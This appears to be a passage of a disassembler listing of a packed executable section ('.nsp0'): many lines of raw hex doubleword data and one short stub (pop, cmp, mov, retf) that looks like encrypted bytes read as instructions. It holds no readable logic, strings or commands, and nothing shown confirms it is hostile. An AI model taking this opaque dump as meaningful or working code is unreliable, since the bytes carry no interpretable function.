dd 7551C3F8h, 1F827FB3h, 9DE695E6h, 1476ED38h, 87B0ED34h
dd 0A2A4194Dh, 0FE00C86Dh, 0C83AD3BEh, 0AC28AEDFh, 0E645FE35h
dd 0D88F3A3Eh, 9553C20Ch, 0BC6691C3h, 52E85B3h, 8F8A5DFh
dd 26597C29h, 0AA716C68h, 0CAA576B6h, 0B30FCDC4h, 0BF07C763h
dd 0C181887Eh, 0B49BF17Ch, 0E5FC1DFCh, 268A0848h, 67B186B4h
dd 0A4041B70h, 0F5AA318h, 0A687769Dh, 123F157Dh, 0B846FE11h
dd 0D660035Ah, 3FEA1D00h
dd 8B1151E9h, 0B1A9C3F2h, 0C6EE5BFEh, 75942C25h, 21A043F1h
dd 3CD9B6C4h, 0C60240A8h, 51A635B0h, 1ADC03BBh, 7A9E07B9h
dd 0BF47252Dh, 0F1E40E1Fh, 60ED33D1h, 8683988Bh, 0A0C789C0h
dd 0AA59D6CFh, 70457AC1h, 137959h, 10A89565h, 23084F83h
dd 5A4BBD7Ah, 3A7450C4h, 823538D2h, 0C8BBA70h, 0F89FD03h
dd 0C996555Ah, 0A27586Bh, 0D426977Bh, 0FC6F7E57h, 0E4BAA5B8h
dd 5BA90508h, 50DB9FA7h, 2DB7158Eh, 178F9716h, 44AE41CFh
dd 9FE4596Ch, 0D41173F1h, 0E30742CDh, 0E5BC16CFh, 2A9BBCACh
dd 28439199h, 4AE8081Dh, 82DBD001h, 0D1D6A44Fh, 0C916D4A9h
dd 0C90071E4h, 84F23696h, 47E2191Ah, 0B58A9A13h, 19C74A89h
dd 0ACD9C334h, 0D9F5E9E5h, 0E102AEC2h, 0DCC74A6Ah, 0EB1D97E5h
dd 29FBE620h, 0B8E6C2A8h, 5F284B84h, 9DAEEC0Bh, 0C006891Eh
dd 0AB9277CCh, 5CC9A0CAh, 3B154AE9h, 16EDF3B2h, 8953C83Dh
dd 9250ABD5h, 742FD7B3h, 329BFC61h, 7AA2A8D6h, 2D040323h
dd 7AB519AAh, 631BA769h, 16460F0Bh, 91A2DDF6h, 0A4F4DF30h
dd 10C32344h, 41B3612h, 3D299D5Eh, 390F2944h, 0A8994112h
dd 8AD24540h, 2E58F652h, 851A451Dh, 0A9AF1339h, 61715759h
dd 0E878BEE5h, 37532EB0h, 0A2EB4759h, 0C1ED976Eh, 141DB340h
dd 1F519AB7h, 0C3C7CB1Ah, 53B8CF5h, 0FAE0B712h, 20E31DF9h
dd 26F0694Fh, 22804D08h, 9DA93064h, 8BEDE84Eh, 489AE813h
dd 0E64E91A8h, 5E0F9F74h, 4BF9264Dh, 3B616036h, 258F0BC8h
dd 6FA6DBC8h, 91F22A5Ah, 6200F05Ah, 92DFB0B2h, 350069CAh
dd 2FA4C383h, 56BC0CD1h, 0D52DAB9Ch, 70FA5C3Bh, 963D2B61h
dd 0B19BE6D0h, 26BF6AAEh, 0BB00E927h, 7245E9EBh, 18B365DCh
dd 0FBEA4FE2h, 31F8ECB0h, 1A983953h, 0BCF4A72Eh, 0BBEAE1BBh
dd 227127DCh, 1BBCCC6Ch, 348A53h, 75578854h, 198CBA27h
dd 810E4884h, 4A897665h, 0D9C7B5BDh, 47421773h, 0E851CA57h
dd 50A3571Dh, 0D36ACAB1h, 0A29CC745h, 3ED213E8h, 4C3F5FC7h
dd 616B4DFDh, 9E3BA3A0h, 89EBC7ABh, 0EA0E6024h, 46C24E01h
dd 0FED26EE0h, 4DEDB6D2h, 9C2473D0h, 52388D6Ah, 0DC69C284h
dd 0DBA8C726h, 0EE3BE639h, 6A4EB4D2h, 0DAEAA227h, 73EC312Eh
dd 0FEAE0400h, 362FF75Bh, 70E32E80h, 8CDD063Ah, 86260DD9h
dd 69D912A2h, 0F7AD93FDh, 6CCA8B00h, 9EEFAE63h, 0C9413E24h
dd 523EB5D9h, 18935DA6h, 0A566ACBh, 0E90B29E2h, 0B5864A56h
dd 66B3D3A4h, 753C9E84h, 0EAD7DB7Dh, 3043089Ch, 94061884h
dd 1DDCEBF3h, 2BEE5EBEh, 510DB377h, 39EA88D5h, 783A861Ch
dd 13353CD1h, 0A17BD8CEh, 0D476C48Dh, 0F84941DFh, 64CB2CB2h
dd 0E2D61701h, 2F6A4C2h, 7A27B4F4h, 7051C27Dh, 7CB1E12Ah
dd 5892884Eh, 0A3634560h, 104F154Eh, 60F95331h, 0E5956FC1h
dd 0CB56925Eh, 7F18DD61h, 867B9AF1h, 93745B54h, 91AE8F02h
dd 390D3E70h, 8FAC8D26h, 5E05E74Eh, 0CB984C5Ah, 7E894230h
dd 83B84A69h, 880F9F0Dh, 12B872FAh, 0DB8899E0h, 0FD051B36h
dd 97B713E7h, 85E38891h, 43A1A910h, 8DFB15F1h, 9EE26BA7h
dd 0B30E24D5h, 0B4DF323Eh, 0A80008B3h, 0A7787A6Eh, 3DBDE128h
dd 495E5079h, 0F53074F4h, 4746B2BCh, 639EF35Ch, 2F2DE439h
dd 0F7C15B6Dh, 0F35B44C0h, 0C1F4D3EEh, 687C26B4h, 6950E13Bh
dd 0AFCAEC7Ah, 8F9A44C1h, 837B5942h, 1FAFED44h, 76E32C15h
dd 0ED2F6660h, 6D84FAC9h, 6A767BF6h, 65CF3F15h, 6E3E862Ah
dd 0FE30CEFDh, 22645FB0h, 0DE4F1CEh, 0C0782C07h, 0AD981095h
dd 32391D32h, 0DC2522ADh, 0E5C368D2h, 0F36C1FF9h, 64312818h
dd 5F6CF75Ah, 61E5FEDFh, 930F2DCAh, 54FC4738h, 0D17D335Dh
dd 0AB45CFA4h, 53877500h, 0B314B61Ah, 0A2612165h, 28738DCBh
dd 21E3F38Ah, 2C53B0A6h, 0DE00AA25h, 26B0979Ch, 3636E6CBh
dd 50B611AEh, 0F5D26110h, 46F7DB10h, 2D0259Bh, 90BF0ABBh
dd 232EACFFh, 458810F8h, 7F40EBC7h, 0B7B7A2Eh, 0F7457902h
dd 0B83A49B9h, 0C7E222EEh, 78C13A71h, 0EAD16F35h, 0E4882AABh
dd 6406FAB3h, 260CE2BCh, 984D6A90h, 4B350C1Ch, 893F0C94h
dd 75269E41h, 19260A3Fh, 0CAE79092h, 6C1633C3h, 0B48B42D9h
dd 660C32AFh, 3F528FF4h, 93C46A73h, 4D40C73h, 7B7BB4C2h
dd 5FD27DADh, 0C3DCAB5Fh, 3DB49164h, 0A374C54Fh, 0BA9074EFh
dd 4FE6221h, 0C724A512h, 0A97C2D81h, 0E48CBB38h, 0F953661h
dd 0DC5D5804h, 9CC9DB1Ch, 0CC61ACC7h, 92560EB0h, 0E1D9211Fh
dd 0F93F9260h, 0FB880955h, 0BE2779F8h, 96C3FFF7h, 64B16FA1h
dd 4B6B1125h, 238F8A22h, 0F5E55136h, 1F22A7DCh, 8FB8E0h
dd 0E4BE5FAFh, 6C1CFC3Eh, 0C6909336h, 0B3840CD2h, 0E5EA364Fh
dd 34971B6Dh, 39B19D31h, 9238D5DAh, 9E16C234h, 865C8ABCh
dd 0A03FB262h, 9A34D840h, 2C3AE25Ch, 0B31AA1A5h, 0D6517B48h
dd 5B57570h, 2D066B2Bh, 0C99AA1FAh, 8A7A4588h, 4EBB3462h
dd 910FDC31h, 2D7643A7h, 4101DDFBh, 96264A5Eh, 74C6C6CFh
dd 0B73D4277h, 94D9E917h, 4DBCCC9h, 0C950CA1h, 0B3E94BD8h
dd 41DB42Eh, 0F3D01694h, 0A99EF779h, 0A980E434h, 772AB8D7h
dd 1D268930h, 54F8F3A4h, 0D2073434h, 0A2C4AB26h, 40278E4Dh
dd 6045AEB0h, 29A1B172h, 0A93A841Fh, 308E8834h, 198D6982h
dd 69D00F8Ch
; ---------------------------------------------------------------------------
loc_490054: ; DATA XREF: .nsp0:0041ABE1o
; .nsp0:0041B411o
pop ecx
cmp al, 47h
mov bh, 0E3h
retf 37Eh
; ---------------------------------------------------------------------------
dd 0A6D967BEh, 0F78216BEh, 0C89FC602h, 4F8AC368h, 0BB991B59h
dd 0F7C7730Fh, 0C98D131Dh, 154AA122h, 0F8625A8Ah, 7A5E1C78h
dd 3FE0790h, 7C241C40h, 2060B8C4h, 87D04829h, 7431413Eh
dd 3C0F26E6h, 8569ED46h, 0BE7C1FD9h, 0CEB1A1Eh, 0CA15E2C0h
dd 0F82FFE38h, 9DC2B13h, 27582647h, 0EA67FA16h, 42A69AD0h
dd 8D942E76h, 1B205F81h, 0F92A706Bh, 56E539C9h, 6CD4DA99h
dd 0AA0F86h, 2474C293h, 5C691321h, 856EE663h, 964EFE27h
dd 0EE954AEFh, 7DC0BA98h, 0E324B85Eh, 0DC5EFFC1h, 78EB3DD9h
dd 5CA4DFA8h, 0B4D3E39h, 0A8606D0Ch, 0CDC4B2CEh, 1AF4DBD7h
dd 0EB65E93Ch, 0ECC12D13h, 2F4D543Ch, 0E7CC24C7h, 0ED2176F9h
dd 7CA05FD5h, 285D6759h, 326D57EEh, 4CD5D467h, 48D4F195h
dd 0F00DCFDh, 0C3D266DCh, 963C3CFCh, 46AC4AD7h, 1DFE1288h
dd 0D3A11A9Ah, 0CA1CACA8h, 37BB96A6h, 0D486D5E3h, 7B1DC4A4h
dd 0A452DB6Fh, 596D6BCBh, 77C7A78Dh, 7236A365h, 0BF7BBC40h
dd 8D932BDh, 0DAC36D8Bh, 97733CD9h, 5FB562B5h, 3AD7E71Ah
dd 34FB76E6h, 0EFFA12F7h, 72C84D1Bh, 44BB28E8h, 0A58DED2Fh
dd 0C7928BD0h, 4193DB90h, 0D2C50020h, 44745A6Ah, 755EA471h
dd 0C48BD216h, 70D064C6h, 755E51E1h, 1C72961Ah, 6174D4FCh
dd 5F2FA84Bh, 0DF501895h, 6F2E881Ah, 9E884ED1h, 90A02884h
dd 5C61F70Ch, 54879F92h, 0E03AC5EDh, 1F6A0169h, 0DD6DE7D3h
dd 2A29BBB9h, 77A1859Ch, 6DF07BBBh, 9F4FFF22h, 466F3E60h
dd 0D1A61356h, 0F83C8362h, 8A9744ADh, 60AAECD5h, 0D3376CE0h
dd 0C1F20871h, 0E7D0B6D2h, 0B410E70Ch, 132BCF82h, 0E1C945EFh
dd 0A2DD9D11h, 12F76ABEh, 5AF14078h, 3379239h, 49C77306h
dd 0DD3C0BBAh, 728821F5h, 1FCF1D60h, 4F7E8692h, 4106CD03h
dd 0CB4C8CC1h, 0D1FBCE36h, 4754EACFh, 0B33C1242h, 0B50852DFh
dd 0DE2A88DCh, 0D93EB46Dh, 1E0A1689h, 6B18EC29h, 94F289D7h
dd 412C2D92h, 23168C54h, 2C9BA0D3h, 279754BCh, 1C96BB78h
dd 7130874Dh, 6B51030h, 491DE55Dh, 186E1355h, 6499EC10h
dd 49A612EEh, 2B0A6340h, 0D13DC959h, 9536E8C9h, 0ED87A4F8h
dd 6B2D716Ch, 5BD2A14Ch, 13C08E88h, 9D6F458h, 4EF46E7Bh
dd 0E06A8C77h, 58D8ACA1h, 94B7B780h, 0B7B768BFh, 9110975Bh
dd 0AEBF6EADh, 9FEEDAB9h, 37441663h, 0F9CFABB8h, 0F1BC5BD9h
dd 0C1EFE479h, 0E78ABBECh, 513D5C11h, 3B540F2Eh, 543D3F9h
dd 35A90574h, 6B4DF9EDh, 0A5E0F453h, 9D49697Ah, 2195C026h
dd 0EE177A42h, 0DF8F8166h, 702F241Ch, 3CEF7D61h, 6DB2A905h
dd 0B0C9BDE4h, 800D185Ah, 7FBC0817h, 0C8994D1Eh, 0A5351604h
dd 0C18348B1h, 0F29168Fh, 0C7B92E81h, 0C280357Fh, 0F97D2477h
dd 0F57D3FF4h, 3CAE5A47h, 0D224E1E0h, 95D22CFCh, 403B54A4h
dd 0E1C1EF1Bh, 0F11C94A5h, 1366092Dh, 0B74FA125h, 86A782F3h
dd 15813150h, 0DAA447E2h, 74CE3CA8h, 495FC881h, 0ABD4A9F0h
dd 5ED6C053h, 0E88C691Dh, 9D0A66EAh, 0F9623C9Dh, 84F61A5Ch
dd 0B5F6C151h, 0E24454A0h, 37E4A424h, 1B0F06ACh, 0DBD5EDDEh
dd 3064FF87h, 1C1395EDh, 90985F96h, 5B603121h, 0F5CB802Fh
dd 0D0B0F344h, 0FF6835FDh, 63AD2D41h, 50EB2379h, 0FF259171h
dd 28084D2Ah, 0EECD580Bh, 0E0379D18h, 0BBA62DF2h, 2544E0B8h
dd 91ECEADCh, 4D75EA6Bh, 0CF968A7Eh, 0AB2B2F5Eh, 8DC5A0C4h
dd 0B67A646Ah, 0A962E638h, 1601090Bh, 0D9ACF8E8h, 3D4E837Ah
dd 78E4820Ah, 62EEB8Dh, 45CE24E6h, 2C9279EEh, 0C3B4195Ah
dd 633E2FD2h, 35B2F15Eh, 0BBDEA339h, 34A55A7Dh, 0BF636737h
dd 6F2D05B9h, 53A95CB9h, 1A666F32h, 3387970Bh, 0C77FD5FCh
dd 0AF07031Ah, 4AEB007Ah, 44CD4FAEh, 0D664651h, 83E174F4h
dd 0C0F4EE58h, 0C295CCABh, 21F10DD7h, 5DA863DFh, 0A98EE96Bh
dd 620C5854h, 0F481229Eh, 3FC48BF9h, 17AA6F26h, 0E1D38B66h
dd 9DCB3EAh, 0D7ED51FEh, 391C2F4Ah, 61E3EDFFh, 0F001F352h
dd 0DE332D8Bh, 0E9B7E727h, 0CF41CF9Ah, 40F90C8Eh, 83216278h
dd 0EF568B1Ch, 9166FB14h, 42D8A77Dh, 96F71497h, 0A3AD37EAh
dd 18AAE944h, 6226098Bh, 0EB1AE3E4h, 7837B1B4h, 1D61C9A8h
dd 1BE22EB2h, 0B9988E14h, 454AD368h, 0B7092D4Ch, 82CF9602h
dd 56314A0Bh, 79A3F59Dh, 74721644h, 3B9BB3Ah, 5FB0134Ah
dd 0E47B1637h, 0E0A65468h, 6EFEDEB5h, 0A035586h, 157C1A21h
dd 0DE833342h, 938FB833h, 4F5E2B61h, 0B0A92680h, 9A41FB78h
dd 8642DA08h, 8D33C2Ch, 0B9CF6876h, 0B9D0D147h, 0AA6F08A0h
dd 0DF931529h, 9F16680Dh, 13E09D0Eh, 0C45AC3BBh, 1522FEEAh
dd 5306358Ch, 7B7C02D5h, 1B401984h, 7A8EA3C6h, 80F479BFh
dd 3C41C49Fh, 0E3A4D7D5h, 0FCFB977Ch, 51BB656Fh, 0DA714AAEh
dd 3B1EE187h, 3AE3B4F9h, 6DF4A62Ch, 5264A8A3h, 2EC6AC9Ch
dd 1B8B6A11h, 109370D1h, 58825DCFh, 971A451Fh, 1FCF21F8h
dd 0E5584BC1h, 0CA28C346h, 3092D69Eh, 0CB910B5Dh, 0CCB0F2DBh
dd 0C986C44Bh, 0F586B11Fh, 0BBDD95h, 21F1B49Eh, 7A07BDEh
dd 346A5BA2h, 0FD09E61h, 0E7485FC3h, 0FA072501h, 2B2425C8h
dd 1727FA16h, 9537748Eh, 22F0E624h, 1B8AE4Fh, 967FE26h
dd 0E0444980h, 48DE1355h, 0D63E2D2Bh, 26F3956Fh, 0B05ECFA0h
dd 0A531BD9Fh, 0F72F4948h, 0C87B534Dh, 1449C059h, 476696EFh
dd 0A0F4AC8Ch, 79AC23D4h, 1904B84h, 83550189h, 59A25E44h
dd 0C08CA2B0h, 739D2A4Bh, 0CD74DADFh, 98CEF2A8h, 44B87BA3h
dd 2D345677h, 0C7DD2A22h, 92EC2283h, 0B07946DBh, 9C2DC2BBh
dd 5997655Bh, 58C3082Ah, 0C2C7EEC4h, 0EF9F8DB7h, 6A049CEFh
dd 947C72BAh, 0FFF9A2F6h, 9EB30D0Ah, 4C6C9CD2h, 0D61CB3DAh
dd 9EBE38FAh, 3225EE6Bh, 9A118F14h, 0C4D6EA7Dh, 488032AEh
dd 0F5262388h, 0A2E1789h, 6CAD121Bh, 0EC0DF649h, 0D00E5C09h
dd 0B9E57Eh, 0E76F4F31h, 0F8DF0448h, 3E67A01Ah, 0FBD460C9h
dd 0E33D39D3h, 6F315D29h, 0B916BBBFh, 0ABC8D314h, 0CFAB7EC4h
dd 8EA850EFh, 0D991CF82h, 70CC2807h, 0FDD356E9h, 9238EC7h
dd 0F39BA30Dh, 52C34682h, 94C3C65Ch, 9DB5C035h, 8C0D98CEh
dd 7ADAAB7Dh, 0E06812CCh, 0DBCEBF77h, 27B9439Dh, 83C3FCE5h
dd 591C9755h, 7077204Fh, 3936B781h, 524FD84Fh, 15677A0Eh
dd 5798B416h, 0D80B175Fh, 43BE9FEBh, 0B1FACE3Ah, 0F95E5B14h
dd 0E034420Dh, 90FB26Bh, 1EF7BD4Eh, 21C6398h, 897F1DB5h
dd 0C6834BC9h, 53793FE4h, 0EAD0B05Bh, 2AD0240Fh, 1F499F93h
dd 7E41B8C1h, 0F3695312h, 25A9FF44h, 0C0BCE8E5h, 8199DDCDh
dd 0E48E3CABh, 39E5DD14h, 0FC8667B7h, 0E7FA4041h, 720362A1h
dd 5E3DED66h, 1CAC6E42h, 0EEAE62B2h, 0D2B591A7h, 810CD67Fh
dd 8EB7A01Eh, 4DFBF59Bh, 0E08F3820h, 0B97866A9h, 0FB0E2ACDh
dd 9D767C94h, 0D4F97378h, 1608E518h, 0A4BCFDF5h, 76C63BFEh
dd 0AA7BC20Dh, 5DA32121h, 4262325Bh, 0B1E207F4h, 164F6E92h
dd 647726ADh, 0E1C51AE3h, 4AE2A40Eh, 0A79B86Fh, 5053D764h
dd 0FAF7FE3Dh, 0DD80BB69h, 0BE341EFFh, 0E0C90B71h, 0F503CBCh
dd 23DB55B2h, 2B3BEC8Fh, 99B3E322h, 0EAE4E8BDh, 7DA210AFh
dd 7EE6B390h, 9E9267D8h, 776B42E4h, 2872F4DDh, 10921229h
dd 0F9EFFCE8h, 0D6E590E4h, 0DBD26943h, 604779D5h, 9F171FFFh
dd 97151EF0h, 3BCDD9FDh, 0B57737Bh, 0E646BDE2h, 5D5D5B03h
dd 0EC4C008Dh, 7C33A85Dh
dd 0AED2EDFh, 0A11035B8h, 72B448D2h, 8D81F1EBh, 69243182h
dd 7CFDFD4h, 0CD463494h, 9EF0AB92h, 13DC3A4Ah, 0D00B4A12h
dd 6E1AF688h, 0C0997A21h, 10B47F23h, 0CD14456Eh, 0E196D165h
dd 66C88AF2h, 905D868Ah, 0B2E888CAh, 0CD5A7254h, 7435CFD2h
dd 0FABC42B3h, 0A314CCC4h, 99CBF9FDh, 146E52h, 0C130E688h
dd 0DA297C27h, 0E8CFEB0Bh, 4CB0CB9Ch, 0E05B1CD0h, 4F83C289h
dd 0FFC749C0h, 4DE4CBC6h, 83CD5C6Bh, 1B0C6803h, 9314300Fh
dd 8640254h, 4A806869h, 375A6FEEh, 272F9E68h, 67BA2465h
dd 4CBB806Dh, 0A8A7845Fh, 109CBC73h, 0D531A9AAh, 7B3F8AE5h
dd 0E5D97AA7h, 6CFD7551h, 0BF822EE2h, 0E2B6D7F3h, 3E4BB67Ah
dd 0C0616206h, 6FABFD48h, 0B29DBA2Eh, 62CBE420h, 35F82BEAh
dd 80E3C157h, 3D2442F9h, 8ED1689Bh, 0A053D244h, 13EBAFD0h
dd 1F26D958h, 22940625h, 0F0517962h, 26ED556Ch, 7D2926EBh
dd 0D8B05CC1h, 0EF608112h, 0B1D6E71Ah, 0ED2C1283h, 0A0EEBF5Dh
dd 4627442Dh, 1DA84453h, 58E4CB0Dh, 27BFACCh, 57FB711Fh
dd 0A6924E58h, 97297F74h, 0F552E4Ah, 0B0ED057Dh, 0F2293262h
dd 0A959893Ch, 0A8FF1CDFh, 3F865F2Ah, 2EB11DCFh, 39305055h
dd 26A8240Fh, 2EC44A10h, 0A54E64D4h, 0A43010F8h, 0BB16A6A5h
dd 13EA86CEh, 3FDD9DA0h, 0ACCBE3A8h, 47C4F681h, 1F6F350Fh
dd 27E37D6Eh, 0B2204B1h, 0A3F9A881h, 3A3DC4D9h, 48B0CBFDh
dd 27A40B1Ah, 0C74C641Ah, 85684DAh, 0BD651640h, 9A9FBDC9h
dd 0DD49E470h, 4B8BCA83h, 52DD934Ah, 328DBDB6h, 0D8C9A71Bh
dd 0EFFD17F1h, 5870FD87h, 5B8527EDh, 0E8856145h, 0B5078DC5h
dd 0CC6587E9h, 6A964FF0h, 79B1D3E3h, 0FBEA0686h, 2181AD6Dh
dd 618C405Ah, 0E5146A5Ch, 490DCCD4h, 0A9DCE547h, 0C19DD5EAh
dd 3A9DCA4Dh, 70555F82h, 0C7C6952h, 0DE84661Eh, 0AD747D32h
dd 33ADC224h, 0A4559419h, 2C79603h, 872A2E70h, 84110662h
dd 0BFEB279h, 3D2F17E2h, 760A47CBh, 99121F37h, 543723D7h
dd 4AE60B8Ch, 0DA0270A3h, 0CE2BC358h, 0A788017Ch, 3B347296h
dd 3B9673E8h, 0C01ADEAh, 0F41A2487h, 11965356h, 7D94314Bh
dd 321ED5D2h, 4A65B2C1h, 471976C6h, 45F535F9h, 7F80166h
dd 381EED7Ch, 3377C952h, 49032499h, 2D825980h, 0DD5E5E45h
dd 0EAC47C67h, 1507C9E6h, 5050D8CAh, 0A4FC342Eh, 0EB63B3Dh
dd 0DF64A88Dh, 6A1E5C24h, 0C1953E7Fh, 0D5CAB5A3h, 0A43766E7h
dd 5002D896h, 693420AAh, 2EB98F11h, 1C7816A4h, 379BF6A7h
dd 7C7AC75Ch, 5BA983C4h, 696F31C2h, 0C95B93BAh, 1F591F44h
dd 99104CBh, 4BA700Ch, 0C18B1592h, 0F4FF4E3Fh, 0C956219Fh
dd 0FD2692ECh, 9F9DD3A5h, 3B6484h, 1B5C7BCFh, 95DBCF60h
dd 0FAA7F68Eh, 32C7B149h, 38C05CFh, 94D3C81Dh, 0A40E6CF4h
dd 35902275h, 0E4361AF5h, 619C96BEh, 0E1769188h, 3B312D8Ch
dd 3A266F60h, 0BD1D4555h, 0AB662976h, 1E7E38CAh, 7F93954Dh
dd 0C4D84D78h, 0F78F542Bh, 0BC934A5h, 0B4A7E648h, 60DEDE08h
dd 52E79859h, 26DDF7A7h, 34FBC82Fh, 4ED0B363h, 95B03135h
dd 0E8C69B23h, 5BD731Fh, 0A09C0352h, 0BFCC3FE1h, 0A4FA4C77h
dd 9BDA172Eh, 88050130h, 0E8C50D6Eh, 0EE1B6A5Eh, 63C5CCFh
dd 7718B7D6h, 0FAD50B57h, 0AEA2CD2Eh, 8CF6D314h, 0A09E86E3h
dd 0AB2115E9h, 627EFD12h, 0CBA437D0h, 0A7F4E2E8h, 656909E8h
dd 16BC04BEh, 0C9858F49h, 0C443535Bh, 0C55F8DE5h, 979B8ADFh
dd 952B0FE6h, 0EE465190h, 46993087h, 971ADC5Ah, 0F273EAAFh
dd 0BE81722Bh, 6C8D9F52h, 0E3DE09C1h, 0D3EFCFE3h, 0BF11127Ch
dd 86FEE27Dh, 77D66976h, 519CE39Ah, 89E4FA85h, 4E9DB3D9h
dd 0D6D598D7h, 0D75131A0h, 4662B3C1h, 55BC126Dh, 29DE859Bh
dd 4A31E89Ah, 29CAAEEFh, 5545BCF5h, 0BB469177h, 7458F3CBh
dd 837C0103h, 0D9BF2321h, 0DAFE6DF4h, 83A6F61Fh, 0B508AB4Bh
dd 5FBDD86Ch, 0C4A02D09h, 0D725EC59h, 972E9FE8h, 9BA3B0C2h
dd 0BDFBC8EBh, 8A3A5525h, 0A00306DCh, 237E997Ah, 40AE920Dh
dd 79FB93DFh, 0D03A4296h, 8312FEB9h, 0E1955C28h, 0DE258E10h
dd 0B29ABA1Eh, 70FA1CE0h, 8E9ECB80h, 0F054F426h, 12C22B01h
dd 9D4D2355h, 2A55BC1Ch, 83BA20C5h, 56EAA36Bh, 1BD3C300h
dd 0D9371511h, 4CB822DBh, 0A6C10574h, 3B10C253h, 939EBD6h
dd 8770BA81h, 4645DD89h, 5D95BCFh, 67E87F73h, 0FA41CED5h
dd 67B035EEh, 68479544h, 50164C58h, 8603F981h, 45ED0F7Dh
dd 668F880h, 322DC205h, 2D6045C3h, 47143017h, 0A3EB7ED5h
dd 857EA957h, 2EB661DDh, 51FD60D8h, 0B71222B7h, 0A6F4EC72h
dd 4F2FA8B9h, 0C4DC4921h, 0F8D7696Eh, 83698C69h, 6BBF0792h
dd 619DFCh, 33C1A1FBh, 0FB0A7FC6h, 0EE0E804Fh, 2C281872h
dd 2A0E1A27h, 0A3F11B27h, 0DD9551D8h, 0D9F4C6Bh, 0E81E6CABh
dd 33083DB1h, 5791C67Dh, 0B2F7955Eh, 1996EA6h, 937EFEFEh
dd 0AE8A9B56h, 387D7747h, 0CB6E4F52h, 2AC539B6h, 2FF088F2h
dd 0FB8CA1E1h, 92364FAAh, 0F0D02CEEh, 4CBDC8A8h, 72B69095h
dd 3B8446Fh, 0A732665Ah, 5945D14Bh, 78903A29h, 43313A12h
dd 360AD450h, 986B4800h, 0F4598FFDh, 0E250C613h, 0EE57E9DAh
dd 34C4180Ch, 0FC512DBDh, 0AE80E502h, 1092341Bh, 0B750EC04h
dd 0E81E0FF1h, 128AA7F3h, 0BC0D1F33h, 39D3D6BFh, 85C01D78h
dd 1B1A6EE9h, 9F56EE6Fh, 0E86380A7h, 3529E6B8h, 0AF59D5Bh
dd 56CDF03Bh, 0FF247DCFh, 0C704EAEFh, 0F67A19F2h, 16F4598Ah
dd 0BF48FF80h, 5287E0EEh, 0ACE4394Dh, 4C0E82AAh, 6556785Eh
dd 0EB57FF3h, 0C319AEA4h, 0EC3F21E3h, 3FA52B12h, 0C4BDC8EDh
dd 0B8060378h, 360562CAh, 16BB91F7h, 0A3E49CD8h, 0AAFC535Dh
dd 30981491h, 0E9638CF2h, 9F5535F2h, 814C4966h, 613DEEB9h
dd 40953499h, 799356C9h, 68BF3036h, 2C01092Dh, 8BDAD2BAh
dd 0C23D12F1h, 1CAFDFA1h, 2770A5C6h, 3F5279A3h, 2314B443h
dd 6804EB4Ah, 52F72F9Ch, 0FA865A87h, 0BF51CA06h, 0FDEED3A9h
dd 736318B0h, 322846C9h, 0A07560C0h, 0C7166C6Fh, 0DCA3CA45h
dd 0A126218Ch, 3C7F936Eh, 0DC360233h, 8E7866E9h, 0F7964E8Dh
dd 71CBED75h, 0CAE33F87h, 0D83E633Fh, 5A8F9228h, 0F68649D8h
dd 4C89D381h, 2B59AE60h, 0C809FDECh, 7C42AFAh, 8AA2BA70h
dd 70B08BF3h, 0E57736B8h, 9B90AF2Fh, 0BBF4DE0h, 0D10E0400h
dd 8FA33AA8h, 6C8249A0h, 7E5C14ADh, 3ABDE3EBh, 0B6F0FC14h
dd 2109CAFFh, 2B3224D2h, 666EEFAh, 84CA7D91h, 919DEDECh
dd 79CDF878h, 0C5181E0h, 0FFC409B4h, 201F37B9h, 119EF006h
dd 5CBE8F36h, 0E0F5E16Fh, 56789C56h, 4A6ABA83h, 9814B86h
dd 0A7900581h, 0B2543CFAh, 6E734C55h, 64229B42h, 0EEC067D6h
dd 0F56CBDA1h, 0C2D230h, 6A6F4A2Eh, 0CED20148h, 27BB1559h
dd 48A4BDBBh, 0B2210373h, 9AE54A61h, 0C2A1F118h, 0D1CB405Eh
dd 0AE5748ABh, 484FA0Ah, 7EBF7FE8h, 860464EAh, 64710538h
dd 18CE8BE1h, 4ACF954Fh, 0EB7DE045h, 4DC50921h, 0E2498095h
dd 0A527141Ah, 18F3FC64h, 87D07AAEh, 4ED5AE86h, 6D1C8A7Ch
dd 611793A8h, 5D50C547h, 0BFB6FC94h, 145BF030h, 60D2C3E7h
dd 0EA22EC83h, 929ABBD7h, 66502194h, 0D8B9378Eh, 952490E5h
dd 377D2962h, 734F7635h, 0E144EBB3h, 639C2041h, 9677BAF3h
dd 0DD30F9B0h, 611FFA3h, 18137D10h, 0A723015h, 2EA8A02Fh
dd 86D17DB3h, 0B875B51Dh
dd 0E5736684h, 0BED1948Eh, 50AFE6ACh, 0A28282C8h, 0C1676BACh
dd 9B480214h, 0DA1FB098h, 236C64A3h, 0BB35324Ch, 53495CA0h
dd 36696C65h, 36FAD1D4h, 0A0823214h, 0C9310329h, 0DBD4640Bh
dd 0B0C20B77h, 0A99FE77Fh, 35958A8Bh, 0C8D874B5h, 9ED4C2Bh
dd 0FC000644h, 36755B11h, 93BB3F39h, 26AEA354h, 7A1E01CEh
dd 0D6542CC3h, 0E5BA4223h, 0DC52C668h, 95C2EFB7h, 7FAD9863h
dd 98C3EE1Ah, 9B475F7Ah, 43C470C6h, 76D3A6E4h, 4DECB7ACh
dd 0DF3E0D32h, 0BFF4F3D4h, 0CCDC202Bh, 58A1D953h, 0A30F3465h
dd 8969DFA6h, 0A04F6A64h, 2CA0AC7h, 43974E87h, 0EE610883h
dd 0A07F92C0h, 22EDB1F0h, 0FC1B9C5Bh, 51AE56FAh, 528F8E61h
dd 0D36D6612h, 7F5CE78Ch, 7F6F7277h, 0BEB19174h, 36AE6B8Ah
dd 228BD974h, 3ECB4E41h, 5053607Bh, 0BAF937Bh, 0F8AE4D86h
dd 7428108Dh, 6D1A350h, 0B51D6FDh, 0C4876ADh, 0DCA2B9AEh
dd 0D66BA330h, 0CF8B096Eh, 4B111F9Bh, 5B246877h, 5FF2A30Fh
dd 0F857876Ch, 3C46DE8Fh, 0AE1461E2h, 0BDA22394h, 7677FD94h
dd 6EF422Dh, 320E6467h, 4ADB9054h, 6EC71BBDh, 0D15C26B1h
dd 94D00DF1h, 0C62FC54Eh, 0E9DBD59Fh, 3DC17197h, 7D003145h
dd 9D3F2AB3h, 715A1AA3h, 51096D57h, 0BFBAD754h, 6CC59DECh
dd 983B40C1h, 666B463Ch, 935C12D7h, 16B0D807h, 92E8A903h
dd 31115336h, 624833C5h, 49C6D4FCh, 227F9D2Dh, 0F2068D6Ah
dd 1769D5D7h, 4EC3EBE1h, 1537E6AAh, 0B8B73CC5h, 1D08452Ch
dd 3B2415CFh, 92452EFBh, 7AD69C44h, 0D54FFEA8h, 0BEFCEA99h
